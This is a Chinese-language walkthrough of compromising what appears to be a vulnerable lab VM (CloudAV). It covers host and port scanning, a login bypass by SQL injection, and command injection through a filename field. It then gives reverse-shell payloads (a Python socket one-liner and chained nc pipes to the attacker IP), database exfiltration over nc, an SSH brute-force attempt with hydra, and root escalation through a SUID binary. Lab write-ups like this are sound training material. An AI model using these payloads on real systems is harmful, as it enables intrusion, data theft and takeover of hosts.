主机探测
arpscan
arp-scan -l
另一种方法arping
for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done
注意这个必须是root权限
端口探测
nmap
nmap -p- -sV -T4 192.168.56.104
发现8080端口
web测试
访问下web页面
1、通过逻辑点绕过
发送到xia_sql发现可能存在sql注入
导入sql的fuzz字典跑包
发现返回包有异常,观察这些长度异常的payload,可以判断出是双引号自动闭合
那就直接” or 1 = 1 -- q绕过
2、爆破绕过
爆破许可证(相当于就是密码么):password
进一步测试
登入到这个页面之后进行观察:
发现是输入文件名进行扫描,相当于文件名起到一个选择扫描方式的作用,拼接管道符看能否是在bash或者temtrol上执行的
执行 hello | ls
页面回显,尝试监听进而更方便的执行指令
尝试监听
1、通过自带的python反弹shell
攻击机启动监听,反弹shell时候可以用网上烂大街的python反弹shell(因为前期通过nmap扫描发现有python2的环境)
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.128",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
2、通过nc反弹shell【看运气,看人服务器上有无nc】
攻击机启动4444端口的监听
nc -nvlp 4444
web页面输入
hello|nc 192.168.56.102 4444 -e /bin/sh # hello 使页面正常运行 # 192.168.56.102 攻击机的ip # -e /bin/bsh 反弹回服务器的shell # 注意最后一段,我们不是单纯的为了监听,而是为了让他反弹shell过来
但实际执行之后发现4444未能接受到任何信息,说明很有可能是nc版本不同导致的-e参数无效,有这个猜想之后可以直接去掉-e看看监听是否有问题
hello|nc 192.168.56.102 4444
发现监听没问题,说明我们的猜想是对的
接下来通过串联nc的方式来代替-e参数反弹shell的问题
输入
hello |nc 192.168.56.102 4444 |/bin/bash |nc 192.168.56.102 3333 # hello 确保web页面正常执行 # nc 192.168.56.102 4444监听攻击机的4444端口【建立连接】 # /bin/bash 将所有的指令传递给/bin/bash解析(管道符实现的)【传递指令并执行】 # nc 192.168.56.102 3333监听攻击机的3333端口【返回指令执行的结果】 # 【确保运行】|【建立连接】|【接受指令并解析】|【返回结果】
因此攻击机需要开启两个监听,4444用于建立连接,3333用于查看执行结果
成功监听
发现是scanner,权限不够,接下来的所有操作都是为了提权到root权限
主机信息收集
执行ls -l获取更多的信息,查看哪些是可以利用的文件或工具
看见root权限下有执行权限的两个文件
其实可以逐个看下
app.py
看下数据库文件
发现是sqlite3 的数据库文件(本地的数据库文件),看看有没有sqlite环境从而查看下数据库文件内的机密信息
转存数据库文件
在靶机开启nc将database的内容传给攻击机的5555端口
nc -nvlp 192.168.56.102 5555 # 连接攻击机的5555端口监听,并将database.sql的内容传递给攻击机的5555端口
在kali开启5555端口监听,将监听到的内容传递给db.sql中
nc 5555 > db1.sql # 将nc的5555监听到的内容全部传给db.sql中
这里需要注意一个点,过一小会主动断掉连接,因为文件小,已经传完了,但没有回显所以你不知道
查看数据库
# sqlite3 --进入sqlite > .open db1.sql --打开db1文件 > .database -- 进入数据库 > .dump --dump下来
有了数据库密码,结合下用户
ssh爆破
监听上使用cat /etc/passwd|grep /bin/bash 获取到账号,结合这个数据库的密码尝试下ssh爆破(利用九头蛇)
hydra -l user -P password.txt ssh://192.168.56.104
执行后发现全部失败,爆破失败
进一步信息收集
向上跳一级查看其他文件
找见一个s权限文件,尝试通过这个文件间接执行root权限下的指令
SUID提权
cat update_cloudav.c
通过分析代码可以设想,当我们执行update_cloudav时必须跟上一个参数,尝试下a参数,命令行输入
./update_cloudav a
日志报错,但不清楚这个日志报错会对程序或者提权有怎样的作用,会不会影响后续提权等
所以正常尝试就好
依旧采用nc串联的方式尝试利用root权限
输入
./update_cloudav "a|nc 192.168.56.102 555|/bin/bash|nc 192.168.56.102 666"
并在攻击机开启监听(555和666端口的监听,指令依旧是nc -nvlp [端口号])
成功提权至root权限
小bug:刚开始是监听向5555和6666但6666的监听不到,5555也是三次的两次监听不到,所以这种情况下换下端口就行!